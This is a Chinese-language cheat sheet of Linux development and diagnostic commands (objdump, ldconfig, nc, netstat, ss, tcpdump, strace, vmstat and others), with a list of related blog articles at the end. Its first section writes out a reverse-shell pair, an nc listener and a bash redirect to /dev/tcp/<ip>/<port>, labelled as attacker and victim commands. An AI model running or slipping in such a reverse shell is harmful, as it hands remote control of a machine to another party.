Linux开发相关命令整理
- 1. 反转shell
- 2. ldd
- 3. objdump
- 4. ldconfig
- 5. telnet
- 6. nc
- 7. netstat
- 8. ss
- 9. tcpdump
- 10. lsof
- 11. strace
- 12. vmstat
- 13. ifstat
- 14. mpstat
1. 反转shell
攻击者主机执行:nc -nlvp <port>
被攻击者执行:bash -i >& /dev/tcp/<ip>/<port> 0>&1
也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便
2. ldd
用于查看可执行文件或共享库文件所依赖的动态链接库的工具。
3. objdump
用于反汇编可执行文件、目标文件和共享库文件的工具。使用 objdump 命令可以对二进制文件进行静态分析,以查看其包含的指令集、符号表、节(section)和其他调试信息。
基本语法
objdump <options> <file>
一些常用的 objdump 选项:
-d:反汇编代码段,显示二进制文件的指令集。
-t:显示符号表,包括全局符号和局部符号。
-h:显示节(section)表,包括各个节的名称、地址和大小等信息。
-x:显示附加信息,如文件头和段头的详细信息。
-S:在反汇编代码中同时显示源代码。
4. ldconfig
用于更新系统动态链接器的缓存。在 Linux 系统中,动态链接器负责在程序运行时将可执行文件或共享库文件与其所依赖的动态链接库进行链接。ldconfig 命令用于更新系统中已安装的动态链接库的缓存,以便动态链接器能够正确找到和加载这些库。当你安装新的共享库文件或将共享库文件移动到不同的位置时,你可能需要运行 ldconfig 命令来更新系统的动态链接器缓存。这样做可以确保动态链接器能够正确地找到并加载这些库文件。
运行sudo ldconfig
命令来执行 ldconfig,执行命令后,ldconfig 将扫描默认的共享库路径(通常是 /lib 和 /usr/lib)以及其他配置的路径,并更新动态链接器的缓存。这样,动态链接器在运行程序时就能正确地解析和加载所需的共享库文件。
需要注意的是,在大多数情况下,你不需要手动运行 ldconfig。通常,当你使用包管理器安装或卸载共享库文件时,包管理器会自动执行 ldconfig 来更新缓存。只有在特定情况下,例如手动安装共享库文件或手动移动共享库文件时,才需要手动运行 ldconfig。
总而言之,ldconfig 是一个用于更新系统动态链接器缓存的命令。它可以确保动态链接器能够正确找到和加载共享库文件。
5. telnet
用于在命令行界面中访问远程主机的命令行工具。使用 telnet 命令telnet <host> <port>
,你可以指定远程主机的地址和端口,并建立与该主机的 Telnet 连接。由于 Telnet 是以明文方式传输数据,连接信息和数据在网络上是不加密的。因此,Telnet 不适合在不受信任的网络中使用,因为它可能会暴露敏感信息。
6. nc
nc(也称为 netcat)是一个网络工具,可以在命令行中创建 TCP 或 UDP 连接,进行网络通信。它提供了一个简单而强大的界面,可以用于发送和接收数据,执行端口扫描,以及在不同主机之间传输文件。
以下是一些常用的 nc 选项:
- -l:在监听模式下运行 nc,等待传入连接。
- -p :指定本地端口号。
- -u:使用 UDP 协议进行连接。
- -v:显示详细的调试信息。
- -n:禁用主机名解析。
7. netstat
显示和管理网络连接、网络接口以及网络协议统计信息。
以下是一些常用的 netstat 选项:
- -a:显示所有连接和监听端口。
- -t:显示 TCP 连接信息。
- -u:显示 UDP 连接信息。
- -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -p:显示与连接关联的程序或进程 ID。
- -r:显示路由表信息。
- -s:显示与各个协议相关的统计信息。
8. ss
用于显示和管理套接字(sockets)的相关信息,包括网络连接、监听端口、路由表和其他网络统计信息。它是 netstat 命令的替代品。
以下是一些常用的 ss 选项:
- -a:显示所有连接和监听端口。
- -t:显示 TCP 连接信息。
- -u:显示 UDP 连接信息。
- -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -p:显示与连接关联的程序或进程 ID。
- -r:显示路由表信息。
- -s:显示与各个协议相关的统计信息。
- -l:仅显示监听状态的套接字。
9. tcpdump
命令行网络抓包工具,用于捕获和分析网络数据包。它可以在实时中捕获数据包,并提供灵活的过滤和显示选项,用于监视和分析网络流量。
tcpdump 命令的基本语法如下:
tcpdump [options] [expression]
以下是一些常用的 tcpdump 选项:
- -i :指定要抓包的网络接口。
- -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -c :仅抓取指定数量的数据包后停止。
- -s :设置要捕获的数据包的最大长度。
- -w :将抓取的数据包写入指定的文件中,而不进行实时显示。
- -r :从指定文件中读取数据包,而不进行实时抓包。
除了选项,你还可以使用表达式来过滤要抓取的数据包。表达式可以基于源地址、目标地址、端口号、协议类型等进行过滤。
以下是一些常用的表达式示例:
- host :过滤特定主机的数据包,可以是 IP 地址或主机名。
- src :过滤源地址为指定主机的数据包。
- dst :过滤目标地址为指定主机的数据包。
- port :过滤指定端口号的数据包。
- src port :过滤源端口号为指定端口的数据包。
- dst port :过滤目标端口号为指定端口的数据包。
- tcp:过滤 TCP 协议的数据包。
- udp:过滤 UDP 协议的数据包。
- icmp:过滤 ICMP 协议的数据包。
- ether
:过滤以太网地址(MAC 地址)为指定地址的数据包。 - net :过滤特定网络的数据包,可以是 IP 网络地址。
- src net :过滤源地址属于指定网络的数据包。
- dst net :过滤目标地址属于指定网络的数据包。
- greater :过滤数据包长度大于指定值的数据包。
- less :过滤数据包长度小于指定值的数据包。
这些表达式可以单独使用,也可以组合使用以创建更复杂的过滤条件。
例如,要在名为 eth0 的网络接口上捕获所有 TCP 协议的数据包,并以实时方式显示它们的内容,可以运行以下命令:
tcpdump -i eth0 tcp
10. lsof
用于列出打开文件和网络连接的命令行工具。它可以显示当前系统上所有打开的文件、目录和网络连接的相关信息,包括进程ID、文件描述符、文件类型、访问模式、文件路径、网络端口等。
lsof命令格式如下
lsof [options]
以下是一些常用的 lsof 选项:
- -i:显示与网络相关的信息,包括网络连接和打开的端口。
- -n:以数字形式显示 IP 地址和端口号,而不进行主机名解析。
- -p :显示指定进程ID(PID)相关的打开文件和网络连接。
- -u :显示指定用户名相关的打开文件和网络连接。
- -c :显示指定命令相关的打开文件和网络连接。
11. strace
用于跟踪和调试 Linux 程序执行过程的命令行工具。它可以捕获和显示程序与操作系统之间的系统调用和信号交互,帮助开发人员和系统管理员分析程序的行为、调试问题和性能优化。
strace 命令的基本语法如下:
strace [options] <command>
你需要将要跟踪的命令放在 strace 命令后面,然后 strace 将捕获该命令执行过程中的系统调用和信号。
以下是一些常用的 strace 选项:
- -o :将跟踪结果写入指定的文件。
- -p :跟踪指定的进程ID。
- -s :设置输出字符串的最大长度。
- -e :指定要跟踪的系统调用。
- -c:以摘要统计的形式显示系统调用的执行次数和耗时。
- -f:跟踪由目标进程创建的子进程。
12. vmstat
用于报告虚拟内存统计信息的命令行工具。它可以提供有关系统内存、进程、CPU、磁盘和交换空间等方面的统计数据,帮助你监视系统的性能和资源使用情况。
vmstat 命令的基本语法如下:
vmstat [options] [delay [count]]
你可以选择性地指定一些选项,以及可选的延迟时间和计数次数。vmstat 将在指定的延迟时间间隔内收集统计数据,并在屏幕上显示或输出到文件中。
以下是一些常用的 vmstat 选项:
- -a:显示所有的虚拟内存统计信息。
- -f:显示运行以来的 fork 操作次数。
- -s:显示更详细的内存和系统统计信息。
- -n:使用数字格式显示统计数据,而不是使用可读性更高的文本格式。
- -w:将输出宽度扩展到适应长的统计项名称。
例如,要每秒显示一次虚拟内存统计信息,可以运行以下命令:
vmstat 1
vmstat 命令将每秒收集一次统计数据,并将其输出显示在命令行界面上。
vmstat 的输出包含许多信息,包括但不限于以下内容:
- procs:进程相关的统计信息,如运行队列长度、上下文切换次数等。
- memory:内存相关的统计信息,如空闲内存、缓冲区和缓存使用情况等。
- swap:交换空间相关的统计信息,如交换分区使用情况、交换活动等。
- io:磁盘I/O相关的统计信息,如块设备的读写操作次数、请求队列长度等。
- system:系统全局的统计信息,如中断次数、上下文切换次数等。
- cpu:CPU使用率和上下文切换相关的统计信息。
13. ifstat
用于监视网络接口流量的命令行工具。它可以提供关于网络接口的实时统计信息,包括传输速率、数据包计数、错误计数等,帮助你监控网络的使用情况和性能状况。
ifstat 命令的基本语法如下:
ifstat [options] [interval [count]]
你可以选择性地指定一些选项,以及可选的时间间隔和计数次数。ifstat 将在指定的时间间隔内收集网络接口的统计数据,并在屏幕上实时显示或输出到文件中。
以下是一些常用的 ifstat 选项:
- -i :指定要监视的网络接口。如果不指定接口,默认会监视所有活动接口。
- -n:使用数字格式显示统计数据,而不是使用可读性更高的单位格式。
- -t:显示时间戳,以指示每个统计间隔的开始时间。
例如,要每秒显示一次所有活动网络接口的统计信息,可以运行以下命令:
ifstat 1
ifstat 命令将每秒收集一次网络接口的统计数据,并将其实时输出显示在命令行界面上。
ifstat 的输出包含以下信息:
- 接口名称:监视的网络接口的名称。
- 接收:接收流量的统计信息,包括传输速率、数据包计数、错误计数等。
- 发送:发送流量的统计信息,包括传输速率、数据包计数、错误计数等。
- 总计:接收和发送流量的总计信息,包括传输速率、数据包计数、错误计数等。
14. mpstat
用于报告多处理器系统上的 CPU 使用情况的命令行工具。它可以提供有关每个 CPU 核心的统计信息,包括用户使用率、系统使用率、空闲时间、等待时间等。
mpstat 命令的基本语法如下:
mpstat [options] [interval [count]]
你可以选择性地指定一些选项,以及可选的时间间隔和计数次数。mpstat 将在指定的时间间隔内收集 CPU 使用情况的统计数据,并在屏幕上显示或输出到文件中。
以下是一些常用的 mpstat 选项:
- -P :指定要监视的特定 CPU 核心。如果不指定核心编号,默认会监视所有核心。
- -u:显示 CPU 使用率的统计信息,包括用户使用率、系统使用率、空闲时间、等待时间等。
- -I :指定要显示的特定字段,如 CPU 上下文切换次数、中断次数等。
- -t:显示时间戳,以指示每个统计间隔的开始时间。
例如,要每秒显示一次所有 CPU 核心的使用率,可以运行以下命令:
mpstat -P ALL 1
mpstat 命令将每秒收集一次 CPU 使用情况的统计数据,并将其输出显示在命令行界面上。
mpstat 的输出包含以下信息:
- CPU 核心编号:监视的 CPU 核心的编号。
- usr:用户空间程序的 CPU 使用率。
- sys:内核空间程序的 CPU 使用率。
- iowait:等待 I/O 完成的 CPU 使用率。
- idle:CPU 空闲时间的百分比。
- irq:处理硬件中断的 CPU 使用率。
- soft:处理软件中断的 CPU 使用率。
- steal:当系统运行在虚拟化环境中时,被其他虚拟机偷取的 CPU 时间的百分比。
Linux开发相关命令整理的更多相关文章
- linux 服务器常用命令整理
linux 服务器常用命令整理 目录 网络分析 - tcpdump \ telnet \ (netstat \ ss \ lsof) \ nload 网络传输 - scp \ rsync \ (rz ...
- Linux常用基础命令整理:关机命令、查看目录下文件命令等
Linux常用基础命令整理:关机命令.查看目录下文件命令等 整理了一些Linux常用基础命令,欢迎指正. 首先记住四个热键,学会这四个键,收益一辈子. Tab按键---命令补齐功能Ctrl+c按键-- ...
- Linux 文本相关命令(1)
Linux 文本相关命令(1) 前言 最近线上环境(Windows Server)出现了一些问题,需要分析一下日志.感觉 Windows 下缺少了一些 Linux 系统中的小工具,像在这波操作中用到的 ...
- Linux文件管理相关命令
Linux文件管理相关命令 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 在了解了Linux文件管理背景知识之后, 我们可以 ...
- Linux进程相关命令使用场景
Linux进程相关命令使用场景 在Linux系统上工作时,我们常常会碰到很多和进程相关的查询场景,今天在这里进行详细的讲解,进程相关的对象包括以下几个: 端口:Port 进程号:PId 执行文件所在路 ...
- saltstack 开发相关命令记录
SALT API开发相关命令记录. 查看当前的salt key信息salt-key -L 测试被控主机的连通性salt '*' test.ping 远程命令执行测试salt '*' cmd.run ' ...
- Linux 网络相关命令 Cheat Sheet
以下漫画形式呈现的常用 Linux 网络相关命令速查表来自 twitter -
- Linux性能相关命令
Linux性能相关命令 目录 Linux性能相关命令 1. 查看硬盘相关信息 2. 查看CPU相关信息 3. 查看内存相关信息 4. 查看进程运行的信息 1. 查看硬盘相关信息 cat /proc/s ...
- Linux解压缩相关命令
Linux解压缩相关命令 运行级别: 0:关机 1:单用户 2:多用户无网络连接 3:多用户有网络连接 4:系统保留 5:图形界面 6:系统重启 通过init[0123456]来切换不同的运行级别 g ...
- Linux文本相关命令
Linux文本相关命令 目录 Linux文本相关命令 文本排序命令 文本去重命令 基础命令cut 文本三剑客 sed awk grep 文本排序命令 sort 常用参数: -n:以数值大小进行排序 - ...
随机推荐
- SavedStateHandle的介绍----ViewModel不具备保存状态数据的功能
LiveData本身不能在进程销毁中存活,当内存不足时,Activity被系统杀死,ViewModel本身也会被销毁. 为了保存LiveData的数据,使用SavedStateHandle. 事故场景 ...
- Python异步编程原理篇之IO多路复用模块selector
selector 简介 selector 是一个实现了IO复用模型的python包,实现了IO多路复用模型的 select.poll 和 epoll 等函数. 它允许程序同时监听多个文件描述符(例如套 ...
- 多线程系列(四) -volatile关键字使用详解
一.简介 在上篇文章中,我们介绍到在多线程环境下,如果编程不当,可能会出现程序运行结果混乱的问题. 出现这个原因主要是,JMM 中主内存和线程工作内存的数据不一致,以及多个线程执行时无序,共同导致的结 ...
- 承前启后,Java对象内存布局和对象头
承前启后,Java对象内存布局和对象头 大家好,我是小高先生.在我之前的一篇文章<并发编程防御装-锁(基础版)>中,我简要介绍了锁的基础知识,并解释了为什么Java中的任何对象都可以作为锁 ...
- Mysql错误消息 语言设置
今天操作数据库的时候,mysql错误返回语句 ,一直报的是非英语的语言 ,百般纠结 ,简单的还大致能猜出意思 , 复杂了就会实在看不懂的 ,举个简单的如下: [Err] 1064 - Erreur d ...
- Java并发编程实例--8.在线程中处理未检查异常
java中有两类异常: 已检查异常:这类异常编译器要求开发者必须在代码中通过throws去处理. 例如:IOException和ClassNotFoundException. 未检查异常:不必显式的在 ...
- 学习go语言编程之流程控制
Golang支持如下4种流程控制语句: 条件语句:if,else和else if 选择语句:switch,case和select 循环语句:for,range 跳转语句:goto 条件语句 示例代码: ...
- 关于谷歌浏览器出现“错误代码:net::ERR_UNSAFE_PORT”的解决办法
搭建项目时需要自己配置端口信息,但是有人搭建之后会出现如下情况 但是换用edge等浏览器没有问题,这是因为chorme浏览器有自己的默认非安全端口, 若访问这些端口就会出现这个错误,并且所有采用cho ...
- OpenCV开发笔记(五十七):红胖子8分钟带你深入了解直方图反向投影(图文并茂+浅显易懂+程序源码)
若该文为原创文章,未经允许不得转载原博主博客地址:https://blog.csdn.net/qq21497936原博主博客导航:https://blog.csdn.net/qq21497936/ar ...
- pip相关知识
正常安装语法 # 安装单个 pip install some-package # 安装指定版本 pip install some-package==版本号 # 查看当前模块版本号 pip instal ...